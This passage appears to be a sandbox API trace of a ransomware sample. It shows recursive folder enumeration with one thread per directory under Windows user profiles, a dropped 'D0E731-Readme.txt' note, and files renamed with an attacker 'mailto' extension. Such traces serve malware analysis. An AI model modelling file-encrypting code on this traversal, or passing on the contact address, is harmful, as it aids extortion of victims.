[0168.239] wcscmp (_String1="Start Menu", _String2="..") returned 1 [0168.239] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x3c) returned 0x2f87548 [0168.239] wcscpy (in: _Dest=0x2f87548, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0168.239] wcscat (in: _Dest=0x2f87548, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0168.240] wcscat (in: _Dest=0x2f87548, _Source="Start Menu" | out: _Dest="C:\\Users\\All Users\\Start Menu") returned="C:\\Users\\All Users\\Start Menu" [0168.240] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f87548, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x594 [0168.240] FindNextFileW (in: hFindFile=0x2f80520, lpFindFileData=0x2f9cb00 | out: lpFindFileData=0x2f9cb00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x7877b7ce, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x7877b7ce, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x7877b7ce, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0168.240] wcscmp (_String1="Templates", _String2=".") returned 1 [0168.240] wcscmp (_String1="Templates", _String2="..") returned 1 [0168.240] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x3a) returned 0x2f876b0 [0168.240] wcscpy (in: _Dest=0x2f876b0, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0168.240] wcscat (in: _Dest=0x2f876b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0168.240] wcscat (in: _Dest=0x2f876b0, _Source="Templates" | out: _Dest="C:\\Users\\All Users\\Templates") returned="C:\\Users\\All Users\\Templates" [0168.240] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f876b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x618 [0168.241] FindNextFileW (in: hFindFile=0x2f80520, lpFindFileData=0x2f9cb00 | out: lpFindFileData=0x2f9cb00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1931975, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x1931975, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="USOPrivate", cAlternateFileName="USOPRI~1")) returned 1 [0168.241] wcscmp (_String1="USOPrivate", _String2=".") returned 1 [0168.241] wcscmp (_String1="USOPrivate", _String2="..") returned 1 [0168.241] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x3c) returned 0x2f876f8 [0168.241] wcscpy (in: _Dest=0x2f876f8, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0168.241] wcscat (in: _Dest=0x2f876f8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0168.241] wcscat (in: _Dest=0x2f876f8, _Source="USOPrivate" | out: _Dest="C:\\Users\\All Users\\USOPrivate") returned="C:\\Users\\All Users\\USOPrivate" [0168.241] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f876f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x598 [0168.242] FindNextFileW (in: hFindFile=0x2f80520, lpFindFileData=0x2f9cb00 | out: lpFindFileData=0x2f9cb00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa4ade3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xa4ade3, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="USOShared", cAlternateFileName="USOSHA~1")) returned 1 [0168.242] wcscmp (_String1="USOShared", _String2=".") returned 1 [0168.242] wcscmp (_String1="USOShared", _String2="..") returned 1 [0168.242] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x3a) returned 0x2f87080 [0168.242] wcscpy (in: _Dest=0x2f87080, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0168.242] wcscat (in: _Dest=0x2f87080, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0168.242] wcscat (in: _Dest=0x2f87080, _Source="USOShared" | out: _Dest="C:\\Users\\All Users\\USOShared") returned="C:\\Users\\All Users\\USOShared" [0168.242] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f87080, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x614 [0168.243] FindNextFileW (in: hFindFile=0x2f80520, lpFindFileData=0x2f9cb00 | out: lpFindFileData=0x2f9cb00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c07ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WindowsHolographicDevices", cAlternateFileName="WINDOW~1")) returned 1 [0168.243] wcscmp (_String1="WindowsHolographicDevices", _String2=".") returned 1 [0168.243] wcscmp (_String1="WindowsHolographicDevices", _String2="..") returned 1 [0168.243] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5a) returned 0x2f87a28 [0168.243] wcscpy (in: _Dest=0x2f87a28, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0168.243] wcscat (in: _Dest=0x2f87a28, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0168.243] wcscat (in: _Dest=0x2f87a28, _Source="WindowsHolographicDevices" | out: _Dest="C:\\Users\\All Users\\WindowsHolographicDevices") returned="C:\\Users\\All Users\\WindowsHolographicDevices" [0168.243] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f87a28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x59c [0168.244] FindNextFileW (in: hFindFile=0x2f80520, lpFindFileData=0x2f9cb00 | out: lpFindFileData=0x2f9cb00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c07ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WindowsHolographicDevices", cAlternateFileName="WINDOW~1")) returned 0 [0168.244] FindClose (in: hFindFile=0x2f80520 | out: hFindFile=0x2f80520) returned 1 [0168.251] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9cb00) returned 1 [0168.251] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f937d8) returned 1 [0168.251] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f917d0) returned 1 [0168.251] RtlExitUserThread (Status=0x0) Thread: id = 1497 os_tid = 0xe40 [0163.979] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x26) returned 0x2f91560 [0163.979] wcscpy (in: _Dest=0x2f91560, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0163.979] wcscat (in: _Dest=0x2f91560, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0163.979] wcscat (in: _Dest=0x2f91560, _Source="*" | out: _Dest="C:\\Users\\Default\\*") returned="C:\\Users\\Default\\*" [0163.979] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9e430 [0163.979] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\*", lpFindFileData=0x2f9e430 | out: lpFindFileData=0x2f9e430*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x82caf5e3, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x82caf5e3, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f803a0 [0163.980] wcscmp (_String1=".", _String2=".") returned 0 [0163.980] FindNextFileW (in: hFindFile=0x2f803a0, lpFindFileData=0x2f9e430 | out: lpFindFileData=0x2f9e430*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x82caf5e3, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x82caf5e3, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.980] wcscmp (_String1="..", _String2=".") returned 1 [0163.980] wcscmp (_String1="..", _String2="..") returned 0 [0163.980] FindNextFileW (in: hFindFile=0x2f803a0, lpFindFileData=0x2f9e430 | out: lpFindFileData=0x2f9e430*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3aee4d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0163.981] wcscmp (_String1="AppData", _String2=".") returned 1 [0163.981] wcscmp (_String1="AppData", _String2="..") returned 1 [0163.981] FindNextFileW (in: hFindFile=0x2f803a0, lpFindFileData=0x2f9e430 | out: lpFindFileData=0x2f9e430*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0163.981] wcscmp (_String1="Application Data", _String2=".") returned 1 [0163.981] wcscmp (_String1="Application Data", _String2="..") returned 1 [0163.981] FindNextFileW (in: hFindFile=0x2f803a0, lpFindFileData=0x2f9e430 | out: lpFindFileData=0x2f9e430*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0163.981] wcscmp (_String1="Cookies", _String2=".") returned 1 [0163.981] wcscmp (_String1="Cookies", _String2="..") returned 1 [0163.981] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x32) returned 0x2f803e0 [0163.981] wcscpy (in: _Dest=0x2f803e0, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0163.981] wcscat (in: _Dest=0x2f803e0, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0163.981] wcscat (in: _Dest=0x2f803e0, _Source="Cookies" | out: _Dest="C:\\Users\\Default\\Cookies") returned="C:\\Users\\Default\\Cookies" [0168.204] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f803e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x490 [0168.205] FindNextFileW (in: hFindFile=0x2f803a0, lpFindFileData=0x2f9e430 | out: lpFindFileData=0x2f9e430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81454607, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81454607, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x82c89386, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0168.205] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0168.205] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0168.205] FindNextFileW (in: hFindFile=0x2f803a0, lpFindFileData=0x2f9e430 | out: lpFindFileData=0x2f9e430*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3ef8c08, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0168.205] wcscmp (_String1="Desktop", _String2=".") returned 1 [0168.205] wcscmp (_String1="Desktop", _String2="..") returned 1 [0168.205] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x32) returned 0x2f80560 [0168.205] wcscpy (in: _Dest=0x2f80560, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0168.205] wcscat (in: _Dest=0x2f80560, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0168.205] wcscat (in: _Dest=0x2f80560, _Source="Desktop" | out: _Dest="C:\\Users\\Default\\Desktop") returned="C:\\Users\\Default\\Desktop" [0168.205] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f80560, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x664 [0168.206] FindNextFileW (in: hFindFile=0x2f803a0, lpFindFileData=0x2f9e430 | out: lpFindFileData=0x2f9e430*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3f654c1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5d42963, ftLastWriteTime.dwHighDateTime=0x1d32721, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0168.206] wcscmp (_String1="Documents", _String2=".") returned 1 [0168.206] wcscmp (_String1="Documents", _String2="..") returned 1 [0168.206] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f801e0 [0168.206] wcscpy (in: _Dest=0x2f801e0, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0168.206] wcscat (in: _Dest=0x2f801e0, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0168.206] wcscat (in: _Dest=0x2f801e0, _Source="Documents" | out: _Dest="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents" [0168.206] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f801e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x660 [0168.207] FindNextFileW (in: hFindFile=0x2f803a0, lpFindFileData=0x2f9e430 | out: lpFindFileData=0x2f9e430*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3f66782, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0168.207] wcscmp (_String1="Downloads", _String2=".") returned 1 [0168.207] wcscmp (_String1="Downloads", _String2="..") returned 1 [0168.207] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f80320 [0168.207] wcscpy (in: _Dest=0x2f80320, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0168.207] wcscat (in: _Dest=0x2f80320, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0168.207] wcscat (in: _Dest=0x2f80320, _Source="Downloads" | out: _Dest="C:\\Users\\Default\\Downloads") returned="C:\\Users\\Default\\Downloads" [0168.207] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f80320, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x65c [0168.208] FindNextFileW (in: hFindFile=0x2f803a0, lpFindFileData=0x2f9e430 | out: lpFindFileData=0x2f9e430*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fb8e09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0168.208] wcscmp (_String1="Favorites", _String2=".") returned 1 [0168.208] wcscmp (_String1="Favorites", _String2="..") returned 1 [0168.208] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f80360 [0168.208] wcscpy (in: _Dest=0x2f80360, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0168.208] wcscat (in: _Dest=0x2f80360, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0168.208] wcscat (in: _Dest=0x2f80360, _Source="Favorites" | out: _Dest="C:\\Users\\Default\\Favorites") returned="C:\\Users\\Default\\Favorites" [0168.208] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f80360, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x658 [0168.209] FindNextFileW (in: hFindFile=0x2f803a0, lpFindFileData=0x2f9e430 | out: lpFindFileData=0x2f9e430*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fb994f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0168.209] wcscmp (_String1="Links", _String2=".") returned 1 [0168.209] wcscmp (_String1="Links", _String2="..") returned 1 [0168.209] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x2e) returned 0x3013248 [0168.209] wcscpy (in: _Dest=0x3013248, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0168.209] wcscat (in: _Dest=0x3013248, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0168.209] wcscat (in: _Dest=0x3013248, _Source="Links" | out: _Dest="C:\\Users\\Default\\Links") returned="C:\\Users\\Default\\Links" [0168.209] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x3013248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x49c [0168.209] FindNextFileW (in: hFindFile=0x2f803a0, lpFindFileData=0x2f9e430 | out: lpFindFileData=0x2f9e430*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0168.210] wcscmp (_String1="Local Settings", _String2=".") returned 1 [0168.210] wcscmp (_String1="Local Settings", _String2="..") returned 1 [0168.210] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87740 [0168.210] wcscpy (in: _Dest=0x2f87740, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0168.210] wcscat (in: _Dest=0x2f87740, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0168.210] wcscat (in: _Dest=0x2f87740, _Source="Local Settings" | out: _Dest="C:\\Users\\Default\\Local Settings") returned="C:\\Users\\Default\\Local Settings" [0168.210] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f87740, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x654 [0168.210] FindNextFileW (in: hFindFile=0x2f803a0, lpFindFileData=0x2f9e430 | out: lpFindFileData=0x2f9e430*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbaa63, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0168.210] wcscmp (_String1="Music", _String2=".") returned 1 [0168.210] wcscmp (_String1="Music", _String2="..") returned 1 [0168.210] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x2e) returned 0x3013718 [0168.210] wcscpy (in: _Dest=0x3013718, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0168.210] wcscat (in: _Dest=0x3013718, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0168.210] wcscat (in: _Dest=0x3013718, _Source="Music" | out: _Dest="C:\\Users\\Default\\Music") returned="C:\\Users\\Default\\Music" [0168.211] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x3013718, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x55c [0168.211] FindNextFileW (in: hFindFile=0x2f803a0, lpFindFileData=0x2f9e430 | out: lpFindFileData=0x2f9e430*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0168.211] wcscmp (_String1="My Documents", _String2=".") returned 1 [0168.211] wcscmp (_String1="My Documents", _String2="..") returned 1 [0168.211] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x3c) returned 0x2f87350 [0168.211] wcscpy (in: _Dest=0x2f87350, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0168.211] wcscat (in: _Dest=0x2f87350, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0168.211] wcscat (in: _Dest=0x2f87350, _Source="My Documents" | out: _Dest="C:\\Users\\Default\\My Documents") returned="C:\\Users\\Default\\My Documents" [0168.211] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f87350, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x650 [0168.212] FindNextFileW (in: hFindFile=0x2f803a0, lpFindFileData=0x2f9e430 | out: lpFindFileData=0x2f9e430*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1 [0168.212] wcscmp (_String1="NetHood", _String2=".") returned 1 [0168.212] wcscmp (_String1="NetHood", _String2="..") returned 1 [0168.212] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x32) returned 0x2f804a0 [0168.212] wcscpy (in: _Dest=0x2f804a0, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0168.212] wcscat (in: _Dest=0x2f804a0, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0168.212] wcscat (in: _Dest=0x2f804a0, _Source="NetHood" | out: _Dest="C:\\Users\\Default\\NetHood") returned="C:\\Users\\Default\\NetHood" [0168.212] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f804a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x560 [0168.213] FindNextFileW (in: hFindFile=0x2f803a0, lpFindFileData=0x2f9e430 | out: lpFindFileData=0x2f9e430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c4aac40, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x7a4c27fa, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x7a4c27fa, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0168.213] wcscmp (_String1="NTUSER.DAT", _String2=".") returned 1 [0168.213] wcscmp (_String1="NTUSER.DAT", _String2="..") returned 1 [0168.213] FindNextFileW (in: hFindFile=0x2f803a0, lpFindFileData=0x2f9e430 | out: lpFindFileData=0x2f9e430*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6c6021fd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x6c6021fd, ftLastAccessTime.dwHighDateTime=0x1d29fdc, ftLastWriteTime.dwLowDateTime=0x81a70752, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x80c0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG1.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="NTUSER~2.D0E")) returned 1 [0168.213] wcscmp (_String1="NTUSER.DAT.LOG1.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 